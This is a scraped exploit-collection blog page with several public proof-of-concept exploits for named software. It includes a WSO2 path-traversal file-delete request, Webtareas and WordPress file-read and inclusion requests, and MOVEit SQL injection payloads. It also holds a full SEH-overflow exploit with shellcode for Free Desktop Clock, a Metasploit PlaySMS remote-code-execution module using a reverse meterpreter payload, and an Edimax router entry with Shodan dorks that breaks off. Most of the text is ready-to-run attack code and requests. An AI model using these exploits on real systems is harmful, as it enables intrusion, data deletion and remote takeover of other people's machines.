# Title: WSO2 3.1.0 - Arbitrary File Delete
# Date: 2020-04-12
# Author: raki ben hamouda
# Vendor: https://apim.docs.wso2.com
# Softwrare link: https://apim.docs.wso2.com/en/latest/
# CVE: N/A
Document Title:
===============
WOS2 API Manager(Delete Extension) Arbitrary File Delete(Path traversal )
##CVE not assigned yet
##Security Update : https://apim.docs.wso2.com/en/latest/
Common Vulnerability Scoring System:
====================================
8.5
Affected Product(s):
====================
WSO2 API Manager Carbon Interface
Exploitation Technique:
=======================
Remote
Severity Level:
===============
High
Technical Details & Description:
================================
A remote Arbitrary file delete vulnerability has been discovered in the official WSO2 API Manager Carbon UI product .
The security vulnerability allows a remote attacker with low privileges to perform authenticated application requests
and to delete arbitrary System files.
The vulnerability is located in the `/carbon/extensions/deleteExtension-ajaxprocessor.jsp` modules and the `extensionName` parameter
of the extension we want to delete. Remote attackers are able to delete arbitrary files as configuration files ,database(.db) files
via authenticated POST method requests with a crafted String arbitrary traversal files names in "extensionName" .
The security risk of the arbitrary delete vulnerability is estimated as High with a cvss (common vulnerability scoring system) count of 8.5.
Exploitation of the Path traversal vulnerability requires a low privilege web-application user account and no user interaction.
Successful exploitation of the vulnerability results in loss of availability, integrity and confidentiality.
===============================
Error Generated by Server in case of file not found from 'logfile' ( broughts my atttention ...)
[2020-01-04 01:40:43,318] ERROR - ResourceServiceClient Failed to remove extension.
org.apache.axis2.AxisFault: File does not exist: E:\api-wso2\bin\..\repository\d
eployment\server\registryextensions\commons-dir
at org.apache.axis2.util.Utils.getInboundFaultFromMessageContext(Utils.j
ava:531) ~[axis2_1.6.1.wso2v38.jar:?]
at org.apache.axis2.description.OutInAxisOperationClient.handleResponse(
OutInAxisOperation.java:382) ~[axis2_1.6.1.wso2v38.jar:?]
at org.apache.axis2.description.OutInAxisOperationClient.send(OutInAxisO
peration.java:457) ~[axis2_1.6.1.wso2v38.jar:?]
at org.apache.axis2.description.OutInAxisOperationClient.executeImpl(Out
InAxisOperation.java:228) ~[axis2_1.6.1.wso2v38.jar:?]
at org.apache.axis2.client.OperationClient.execute(OperationClient.java:
149) ~[axis2_1.6.1.wso2v38.jar:?]
at org.wso2.carbon.registry.extensions.stub.ResourceAdminServiceStub.rem
oveExtension(ResourceAdminServiceStub.java:5954) ~[org.wso2.carbon.registry.exte
nsions.stub_4.7.13.jar:?]
at org.wso2.carbon.registry.extensions.ui.clients.ResourceServiceClient.
deleteExtension(ResourceServiceClient.java:137) [org.wso2.carbon.registry.extens
ions.ui_4.7.13.jar:?]
at org.apache.jsp.extensions.deleteExtension_002dajaxprocessor_jsp._jspS
ervice(deleteExtension_002dajaxprocessor_jsp.java:139) [hc_795974301/:?]
at org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70) [t
omcat_9.0.22.wso2v1.jar:?]
*Error displayed in Web browser with body request:
<script type="text/javascript">
CARBON.showErrorDialog("File does not exist: E:\api-wso2\bin\..\repository\deployment\server\registryextensions\nofile.jar");
</script>
=============================
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] /carbon/extensions/deleteExtension-ajaxprocessor.jsp
Vulnerable Parameter(s):
[+] extensionName
Server version
3.0.0
Proof of Concept (PoC):
=======================
The security vulnerability can be exploited by remote attackers with low privileged web-application user account and with no user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
1-Attacker must have access to the Extension component(List ,Add ,Delete extensions )
2-attacker uploads any file .jar extension
3-attacker intercepts the request that follows and modifies the parameter with traversal string:
--- PoC Session Logs [POST] ---
POST /carbon/extensions/deleteExtension-ajaxprocessor.jsp HTTP/1.1
Host: localhost:9443
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest, XMLHttpRequest
X-Prototype-Version: 1.5.0
Content-type: application/x-www-form-urlencoded; charset=UTF-8
X-CSRF-Token: 0OQG-MM0W-1CY9-K503-1X3I-J4M1-YF2Z-J4NS
Content-Length: 22
Origin: https://localhost:9443
Connection: close
Referer: https://localhost:9443/carbon/extensions/list_extensions.jsp?region=region3&item=list_extensions_menu
Cookie: JSESSIONID=BD1005351C7DC1E70CA763D5EBD5390B; requestedURI=../../carbon/functions-library-mgt/functions-library-mgt-add.jsp?region=region1&item=function_libraries_add; region1_configure_menu=none; region3_registry_menu=visible; region4_monitor_menu=none; region5_tools_menu=none; current-breadcrumb=extensions_menu%252Clist_extensions_menu%2523; MSG15780931689110.08734318816834985=true; MSG15780932448520.1389658752202746=true; MSG15780934638710.11615678726759582=true; MSG15780941514590.39351165459685944=true; MSG15780941548760.1587776077002745=true; MSG15780944563770.9802725740232142=true; MSG15780944882480.28388839177015013=true; MSG15780945113520.5908842754830942=true; menuPanel=visible; menuPanelType=extensions
Pragma: no-cache
Cache-Control: no-cache
extensionName=../../../../INSTALL.txt
---------------Returned Headers in Response------------------
HTTP/1.1 200
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
X-Frame-Options: DENY
Content-Type: text/html;charset=UTF-8
Content-Length: 10
Date: Sat, 04 Jan 2020 00:55:38 GMT
Connection: close
Server: WSO2 Carbon Server
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
-
Entries
16114 -
Comments
7952 -
Views
863157936
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
# Exploit Title: Webtateas 2.0 - Arbitrary File Read
# Date: 2020-04-12
# Exploit Author: China Banking and Insurance Information Technology Management Co.,Ltd.
# Vendor Homepage: http://webtareas.sourceforge.net/general/home.php
# Software Link: http://webtareas.sourceforge.net/general/home.php
# Version: Webtateas v2.0
# Tested on: Windows
# CVE : N/A
Vulnerable Request:
POST /webtareas/includes/general_serv.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 72
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/webtareas/general/home.php?
Cookie: webTareasSID=k2vicb6pn9gsajncg3l6ltbver
DNT: 1
action=cardview-actions&prefix=..%2F&extpath=../../../../Windows/win.ini
# Exploit Title: MOVEit Transfer 11.1.1 - 'token' Unauthenticated SQL Injection
# Google Dork: inurl:human.aspx intext:moveit
# Date: 2020-04-12
# Exploit Authors: Aviv Beniash, Noam Moshe
# Vendor Homepage: https://www.ipswitch.com/
# Version: MOVEit Transfer 2018 SP2 before 10.2.4, 2019 before 11.0.2, and 2019.1 before 11.1.1
# CVE : CVE-2019-16383
#
# Related Resources:
# https://community.ipswitch.com/s/article/SQL-Injection-Vulnerability
# https://nvd.nist.gov/vuln/detail/CVE-2019-16383
# Description:
# The API call for revoking logon tokens is vulnerable to a
# Time based blind SQL injection via the 'token' parameter
# MSSQL payload:
POST /api/v1/token/revoke HTTP/1.1
Host: moveittransferstg
Content-Type: application/x-www-form-urlencoded
Content-Length: 32
token='; WAITFOR DELAY '0:0:10'--
# MySQL payload:
POST /api/v1/token/revoke HTTP/1.1
Host: moveittransferstg
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
token=' OR SLEEP(10);
# Exploit Title: Wordpress Plugin Media Library Assistant 2.81 - Local File Inclusion
# Google Dork: N/A
# Date: 2020-04-13
# Exploit Author: Daniel Monzón (stark0de)
# Vendor Homepage: http://davidlingren.com/
# Software Link: https://wordpress.org/plugins/media-library-assistant/
# Version: 2.81
# Tested on: Windows 7 x86 SP1
# CVE : CVE-2020-11731, CVE-2020-11732
----Local File Inclusion----------------------------
There is a file inclusion vulnerability in the mla-file-downloader.php file. Example:
http://server/wordpress/wp-content/plugins/media-library-assistant/includes/mla-file-downloader.php?mla_download_type=text/html&mla_download_file=C:\Bitnami\wordpress-5.3.2-2\apps\wordpress\htdocs\wp-content\plugins\updraftplus\options.php
Visiting the above URL would lead to disclosure of the contents of options.php. Note that this vulnerability does not require authentication.
----Multiple Cross-Site-Scripting-------------------
There are both reflected and stored cross-site scripting vulnerabilities in almost all Settings/Media Library Assistant tabs, which allow remote authenticated users to execute arbitrary JavaScript.
Note that this vulnerability requires authentication.
Tested on Windows 7 Pro SP1 32-bit and Wordpress 5.3.2
# Exploit Title: Free Desktop Clock x86 Venetian Blinds Zipper 3.0 - Unicode Stack Overflow (SEH)
# Exploit Author: Bobby Cooke
# Date: 2020-04-11
# Vendor: Drive Software Company
# Vendor Site: http://www.drive-software.com
# Software Download: http://www.drive-software.com/download/freeclock.exe
# Tested On: Windows 10 - Pro 1909 (x86) & Home 1909 (x86)
# - Does not work on x64 version
# Version: Free Desktop Clock 3.0
# Recreate: Install & Open > Time Zones > 'Enter display name' textbox > paste buffer
############################### CRASH INFO ###############################
# [!] Access violation
# 042D15E7 8908 mov [eax], ecx ; FreeDesk.00440044
# SEH chain of main thread
# Address SE handler
# 0014EE24 FreeDesk.00410041 <- Structured Exception Handler Overwrite
# 00410041 74737953
# 69620C00 *** CORRUPT ENTRY ***
############################### CRASH INFO ###############################
File = 'poc.txt'
######################### EXPLOIT ENVIRONMENT INFO #########################
#badChars = '\x00\x0d\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e'
#badChars += '\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f'
#goodChars = '\x81\x8D\x8F\x90\x9D' (within 0x80-0x9f)
# Base | Rebase | SafeSEH | ASLR | NXCompat | Modulename
# 0x00400000 | False | False | False | False | [FreeDesktopClock.exe]
# 0x042b0000 | True | False | False | False | [Clock.dll]
######################### EXPLOIT ENVIRONMENT INFO #########################
os_nSEH = '\x41'*(457) # Offset to nSEH Overwrite
nSEH = '\xeb\x05' # jmp short +2
SEH = '\xeb\x43' # 0x004300eb: pop esi# pop ebx# ret [FreeDesktopClock.exe]
# nSEH & SEH translated opcodes after Pop-Pop-Ret
# EB 00 jmp short +2
# 05 00EB0043 add eax, 4300EB00
# GetPC to decode our decoder using Venetian Blinds technique
getPC = '\x73' # add [ebx], dh # nop | [EBX] = writable memory
getPC += '\x61' # popad # [ESP] = &Payload
getPC += '\x72' # add [edx], dh # realigns execution for 1 byte opcodes
ebx2eax = '\x58' # pop eax # EAX = &Payload
ebx2eax += '\x72' # add [edx], dh
# Use Venetian Blinds technique to fix our mangled decoder
# + Using the Venetian Blinds Technique costs 14 bytes to fill 1 0x00 with 1 legit shellcode byte.
#
# Ajust EAX to &Decoder
getDecoder = '\x05\x13\x11' # add eax, 0x11001300 # EAX + 512-bytes
getDecoder += '\x72' # add [edx], dh
getDecoder += '\x2D\x11\x11' # sub eax, 0x11001100 # EAX = &Decoder
getDecoder += '\x72' # add [edx], dh
getDecoder += '\x50' # push eax # [ESP] = &Decoder
getDecoder += '\x72' # add [edx], dh
############################# ZIPPER DECODER ###############################
# Set EAX = First non-null byte of shellcode
# init:
# 1 | 50 | push eax # EAX = &Shellcode
# 2 | 5F | pop edi # EDI = Decoder Destination Base Address
# 3 | 47 | inc edi # First 0x00 byte of shellcode
# 4:5 | 33D2 | xor edx, edx
# 6:7 | 33C9 | xor ecx, ecx
# 8:11 | 66:B9 1004 | mov cx, 410 # ECX = Loop Counter
# decodeLoop:
# 12:13 | 33DB | xor ebx, ebx
# 14 | 42 | inc edx # EDX+EAX = &SourceShellcodeByte
# 15 | 42 | inc edx # increment to next non-null byte
# 16:17 | 32DB | xor bl, bl # clear BL to hold next shellcode byte
# 18:20 | 021C10 | add bl, [eax+edx] # BL = SourceShellcodeByte
# 21:22 | 203F | and [edi], bh # [EDI] = SC-byte, clear with: AND 0x00
# 23:24 | 301F | xor [edi], bl # Write next byte of shellcode
# 25 | 47 | inc edi
# 26 | 49 | dec ecx
# 27:28 | 74 02 | je short jmp2code
# 29:30 | ^ EB ED | jmp short decodeLoop
# jmp2code:
# 31 | 50 | push eax
# 32 | C3 | ret
################################################3###########################
#DecoderHex = '505F4733D233C966B9100433DB424232DB021C10203F301F47497402EBED50C3'
firstHalf = '\x50\x47\xD2\xC9\xB9\x04\xDB\x42\xDB\x1C\x20\x30\x47\x74\xEB\x50'
#venBldHalf = '5F 33 33 66 10 33 42 32 02 10 3F 1F 49 02 ED C3'
# 2 4 6 8 10 12 14 16 18 20 22 24 26 28 30 32
# Note: These nop unicode instructions are actually [reg+0x00] not [reg]
# The [reg] version (0032) is 2 bytes. The [reg+0x00] version (007200) is 3 bytes
# Use the 3 byte version for Venetian Blinds alignment
# Example:
# nasm > add [edx], dh
# 00000000 0032 add [edx],dh
# nasm > add [edx+00], dh
# 00000000 0032 add [edx],dh
# nasm > add [edx+01], dh
# 00000000 007201 add [edx+0x1],dh
# + This happens when typing in ASM commands into msf-nasm_shell and immunity
## 2nd byte - \x00 => \x5F
venBlinds = '\x40' # inc eax // now eax points shellcode byte
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\xC6\x5F' # mov byte [eax], 0x50
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points shellcode byte
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
## 4th byte - \x00 => \x33
venBlinds += '\xC6\x33' # mov byte [eax], 0x33
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points shellcode byte
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
## 6th byte - \x00 => \x33
venBlinds += '\xC6\x33' # mov byte [eax], 0x33
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points shellcode byte
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
## 8th byte - \x00 => \x66
venBlinds += '\xC6\x66' # mov byte [eax], 0x66
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points shellcode byte
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
## 10th byte - \x00 => \x10
venBlinds += '\xC6\x10' # mov byte [eax], 0x10
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points shellcode byte
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
## 12th byte - \x00 => \x33
venBlinds += '\xC6\x33' # mov byte [eax], 0x33
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points shellcode byte
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
## 14th byte - \x00 => \x42
venBlinds += '\xC6\x42' # mov byte [eax], 0x42
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points shellcode byte
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
## 16th byte - \x00 => \x32
venBlinds += '\xC6\x32' # mov byte [eax], 0x32
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points shellcode byte
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
## 18th byte - \x00 => \x02
venBlinds += '\xC6\x02' # mov byte [eax], 0x02
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points shellcode byte
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
## 20th byte - \x00 => \x10
venBlinds += '\xC6\x10' # mov byte [eax], 0x10
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points shellcode byte
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
## 22nd byte - \x00 => \x3F
venBlinds += '\xC6\x3F' # mov byte [eax], 0x3F
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points shellcode byte
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
## 24nd byte - \x00 => \x1F
venBlinds += '\xC6\x1F' # mov byte [eax], 0x1F
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points shellcode byte
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
## 26th byte - \x00 => \x49
venBlinds += '\xC6\x49' # mov byte [eax], 0x49
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points shellcode byte
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
## 28th byte - \x00 => \x02
venBlinds += '\xC6\x02' # mov byte [eax], 0x02
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points shellcode byte
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
## 30th byte - \x00 => \xED
venBlinds += '\xC6\xED' # mov byte [eax], 0xED
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points shellcode byte
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
## 32nd byte - \x00 => \xC3
venBlinds += '\xC6\xC3' # mov byte [eax], 0xC3
venBlinds += '\x72' # add [edx], dh
venBlinds += '\x40' # inc eax // now eax points shellcode byte
venBlinds += '\x72' # add [edx], dh
# Jump to the decoded decoder by Returning to the address we saved on the stack
venBlinds += '\xC3' # ret [!] Now we are executing the decoder!
os_decoder = '\x90'*((512/2)-len(nSEH+SEH+getPC+ebx2eax+getDecoder+venBlinds))
#badChars = 00 0d 80 82->8e 91->9f
# Custom PopCalc shellcode that avoids the bad characters
fKernel32 = '\x33\xF6' # xor esi, esi
fKernel32 += '\xF7\xE6' # mul esi
fKernel32 += '\x64\x03\x52\x30' # add edx, fs:[edx+30] # EBX = Address_of_PEB
fKernel32 += '\x03\x42\x0C' # add eax, [edx+C] # EBX = Address_of_LDR
fKernel32 += '\x03\x70\x1C' # add esi, [eax+1C] # ESI = 1st entry in InitOrderModuleList / ntdll.dll
fKernel32 += '\xAD' # lodsd # EAX = 2nd entry in InitOrderModuleList / kernelbase.dll
fKernel32 += '\x50' # push eax
fKernel32 += '\x5E' # pop esi
fKernel32 += '\xAD' # lodsd # EAX = 3rd entry in InitOrderModuleList / kernel32.dll
fKernel32 += '\xFF\x70\x08' # push dword ptr [eax+8] # [ESP] = &kernel32
gExpotTbl = '\x33\xC9' # xor ecx, ecx
gExpotTbl += '\x33\xF6' # xor esi, esi
gExpotTbl += '\x33\xDB' # xor ebx, ebx
gExpotTbl += '\xF7\xE3' # mul ebx
gExpotTbl += '\x58' # pop eax # EAX = &kernel32
gExpotTbl += '\x50' # push eax # [ESP] = &kernel32
gExpotTbl += '\x03\x70\x3C' # add esi, [eax+0x3C] ; ESI = RVA NewEXEHeader
gExpotTbl += '\x03\xF0' # add esi, eax ; ESI = &NewEXEHeader
gExpotTbl += '\x03\x56\x78' # add edx, [esi+0x78] ; EDX = RVA ExportTable
gExpotTbl += '\x03\xD0' # add edx, eax ; EDX = &ExportTable = 763477B0
gExpotTbl += '\x03\x5A\x20' # add ebx, [edx+0x20] ; EBX = RVA ExportNameTable
gExpotTbl += '\x03\xD8' # add ebx, eax ; EBX = &ExportNameTable
gExpotTbl += '\x03\x4A\x24' # add ecx, [edx+0x24] ; ECX = RVA ExportOrdinalTable
gExpotTbl += '\x03\xC8' # add ecx, eax ; ECX = &ExportOrdinalTable
gExpotTbl += '\x51' # push ecx
gExpotTbl += '\x33\xFF' # xor edi, edi
gExpotTbl += '\x03\x7A\x1C' # add edi, [edx+0x1C] ; EDI = RVA ExportAddrTable
gExpotTbl += '\x03\xF8' # add edi, eax ; EDI = &ExportAddrTable
gExpotTbl += '\x57' # push edi
fWinExec = '\x68\x57\x69\x6E\x45' # push 0x456E6957 ; EniW
fWinExec += '\x33\xC0' # xor eax, eax ; EAX = Counter
fWinExec += '\x33\xF6' # xor esi, esi
fWinExec += '\x03\xF4' # add esi, esp ; ESI = "WinE"
fWinExec += '\xFC' # cld ; Process strings left to right
fWinExec += '\x50' # push eax
fWinExec += '\x33\xC9' # xor ecx, ecx
fWinExec += '\x41' # inc ecx
fWinExec += '\x41' # inc ecx
fWinExec += '\x41' # inc ecx
fWinExec += '\x41' # inc ecx
fWinExec += '\xF7\xE1' # mul ecx
fWinExec += '\x33\xFF' # xor edi, edi
fWinExec += '\x03\x3C\x18' # add edi, [eax+ebx]
fWinExec += '\x58' # pop eax
fWinExec += '\x03\x7C\x24\x0C' # add edi, [esp+0xC] ; EDI = &NthNameString
fWinExec += '\xF3\xA6' # repe cmpsb ; compare [&NthNameString] to "WinExec"
fWinExec += '\x74\x03' # jz found ; If [&NthNameString] == "WinExec" end loop
fWinExec += '\x40' # inc eax ; Counter ++
fWinExec += '\xEB\xE1' # jmp short searchLoop ; restart loop
fWinExec += '\x33\xC9' # xor ecx, ecx
fWinExec += '\x41' # inc ecx
fWinExec += '\x41' # inc ecx
fWinExec += '\xF7\xE1' # mul ecx
fWinExec += '\x33\xC9' # xor ecx, ecx
fWinExec += '\x03\x4C\x24\x08' # add ecx, [esp+0x8] ; ECX = &ExportOrdinalTable
fWinExec += '\x03\xC8' # add ecx, eax
fWinExec += '\x33\xC0' # xor eax, eax
fWinExec += '\x66\x03\x01' # add ax, [ecx] ; AX = ordinalNumber
fWinExec += '\x33\xC9' # xor ecx, ecx
fWinExec += '\x41\x41\x41\x41' # inc ecx X 4
fWinExec += '\xF7\xE1' # mul ecx
fWinExec += '\xFF\x74\x24\x04' # push dword [esp+0x4]
fWinExec += '\x01\x04\x24' # add [esp], eax
fWinExec += '\x5A' # pop edx
fWinExec += '\x33\xDB' # xor ebx, ebx
fWinExec += '\x03\x1A' # add ebx, [edx] ; EBX = RVA WinExec
fWinExec += '\x03\x5C\x24\x0C' # add ebx, [esp+0xC] ; EBX = &WinExec
# Call WinExec( CmdLine, ShowState );
# CmdLine = "calc.exe"
# ShowState = 0x00000001 = SW_SHOWNORMAL - displays a window
callWinExec = '\x33\xC9' # xor ecx, ecx ; clear eax register
callWinExec += '\x51' # push ecx ; string terminator 0x00 for "calc.exe" string
callWinExec += '\x68\x2E\x65\x78\x65' # push 0x6578652e ; exe. : 6578652e
callWinExec += '\x68\x63\x61\x6C\x63' # push 0x636c6163 ; clac : 636c6163
callWinExec += '\x33\xC0' # xor eax, eax
callWinExec += '\x03\xC4' # add eax, esp ; save pointer to "calc.exe" string in eax
callWinExec += '\x41' # inc ecx ; uCmdShow SW_SHOWNORMAL = 0x00000001
callWinExec += '\x51' # push ecx ; uCmdShow - push 0x1 to stack # 2nd argument
callWinExec += '\x50' # push eax ; lpcmdLine - push string address stack # 1st argument
callWinExec += '\xFF\xD3' # call ebx ; Call the WinExec Function
shellcode = fKernel32+gExpotTbl+fWinExec+callWinExec
buffer = os_nSEH+nSEH+SEH+getPC+ebx2eax+getDecoder+venBlinds+os_decoder+firstHalf+shellcode
filler = '\x77'*(9000-len(buffer))
buffer = buffer+filler
try:
payload = buffer
f = open(File, 'w')
f.write(payload)
f.close()
print File + " created successfully"
except:
print File + ' failed to create'
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'PlaySMS index.php Unauthenticated Template Injection Code Execution',
'Description' => %q{
This module exploits a preauth Server-Side Template Injection vulnerability that leads to remote code execution
in PlaySMS before version 1.4.3. This issue is caused by double processing a server-side template with a custom
PHP template system called 'TPL' which is used in the PlaySMS template engine at
`src/Playsms/Tpl.php:_compile()`. The vulnerability is triggered when an attacker supplied username with a
malicious payload is submitted. This malicious payload is then stored in a TPL template which when rendered a
second time, results in code execution.
The TPL(https://github.com/antonraharja/tpl) template language is vulnerable to PHP code injection.
This module was tested against PlaySMS 1.4 on HackTheBox's Forlic Machine.
},
'Author' =>
[
'Touhid M.Shaikh <touhidshaikh22[at]gmail.com>', # Metasploit Module
'Lucas Rosevear' # Found and Initial PoC by NCC Group
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2020-8644'],
['URL', 'https://www.youtube.com/watch?v=zu-bwoAtTrc'],
['URL', 'https://research.nccgroup.com/2020/02/11/technical-advisory-playsms-pre-authentication-remote-code-execution-cve-2020-8644/']
],
'DefaultOptions' =>
{
'SSL' => false,
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
'ENCODER' => 'php/base64'
},
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'PlaySMS Before 1.4.3', {} ],
],
'DefaultTarget' => 0,
'DisclosureDate' => '2020-02-05'
)
)
register_options(
[
OptString.new('TARGETURI', [ true, 'Base playsms directory path', '/']),
]
)
end
def uri
return target_uri.path
end
def check
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'index.php')
})
rescue StandardError
vprint_error('Unable to access the index.php file')
return CheckCode::Unknown
end
if res.code == 302 && res.headers['Location'].include?('index.php?app=main&inc=core_auth&route=login')
return Exploit::CheckCode::Appears
end
return CheckCode::Safe
end
# Send Payload in Login Request
def login
res = send_request_cgi({
'uri' => normalize_uri(uri, 'index.php'),
'method' => 'GET',
'vars_get' => {
'app' => 'main',
'inc' => 'core_auth',
'route' => 'login'
}
})
# Grabbing CSRF token from body
/name="X-CSRF-Token" value="(?<csrf>[a-z0-9"]+)">/ =~ res.body
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine the CSRF token") if csrf.nil?
vprint_good("X-CSRF-Token for login : #{csrf}")
cookies = res.get_cookies
vprint_status('Trying to send the payload in the username field...')
# Encoded in base64 to avoid HTML TAGS which are filter by the Application which is also blocking semicolon(;), that is why we're using delete_suffix(';')
evil = "{{#{payload.encoded.delete_suffix(';')}}}"
# Send Payload with cookies.
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'index.php'),
'cookie' => cookies,
'vars_get' => Hash[{
'app' => 'main',
'inc' => 'core_auth',
'route' => 'login',
'op' => 'login'
}.to_a.shuffle],
'vars_post' => Hash[{
'X-CSRF-Token' => csrf,
'username' => evil,
'password' => ''
}.to_a.shuffle]
})
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil?
# Request Status Check
if res.code == 302
print_good('Payload successfully sent')
return cookies
else
fail_with(Failure::UnexpectedReply, "#{peer} - Something went wrong")
end
end
def exploit
cookies = login
vprint_status("Cookies here : #{cookies}")
# Execute Last Sent Username.
send_request_cgi({
'uri' => normalize_uri(uri, 'index.php'),
'method' => 'GET',
'cookie' => cookies,
'vars_get' => {
'app' => 'main',
'inc' => 'core_auth',
'route' => 'login'
}
}, 0)
end
end
# Exploit Title: Edimax Technology EW-7438RPn-v3 Mini 1.27 - Remote Code Execution
# Date: 2020-04-13
# Exploit Author: Wadeek
# Hardware Version: EW-7438RPn-v3 Mini
# Firmware Version: 1.23 / 1.27
# Vendor Homepage: https://www.edimax.com/edimax/merchandise/merchandise_detail/data/edimax/global/wi-fi_range_extenders_n300/ew-7438rpn_mini/
# Firmware Link: https://www.edimax.com/edimax/mw/cufiles/files/download/Firmware/EW-7438RPn_mini_1.27.zip
== Shodan Dorks ==
(Setup Mode) "HTTP/1.0 302 Redirect" "Server: Boa/0.94.14rc21" "http://(null)/index.asp"
(Unsetup Mode) "HTTP/1.1 401 Unauthorized" "Server: Boa/0.94.14rc21" "Default Name:admin Password:1234"
== Unauthorized Access - Wi-Fi Password Disclosure (Unsetup Mode) ==
GET /wizard_reboot.asp
showSSID = "<WIRELESS-NAME>";
